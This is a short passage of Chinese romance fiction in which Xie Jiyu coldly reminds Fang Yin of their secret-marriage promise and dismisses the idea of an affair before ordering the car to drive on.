谢积玉的脸上顿时飘起了一片阴云,声音忽然低沉了好几度下去:“你也知道怕啊?我没忘记当初是我要求的隐婚,而且,我也没兴趣搞婚外情。同时你也不要忘记当初的承诺,不准把我们的关系告诉任何人。” 方引点点头,一口气轻轻地呼出,像一个叹息:“我明白。” “还有,如果是你想搞婚外情,离婚后随便你。但是眼下,我还是想为我的健康负责。”谢积玉丝毫没有因为方引血色尽褪的面孔而动摇,声音冷硬,说完这句话便将目光移到了前方,“开车。”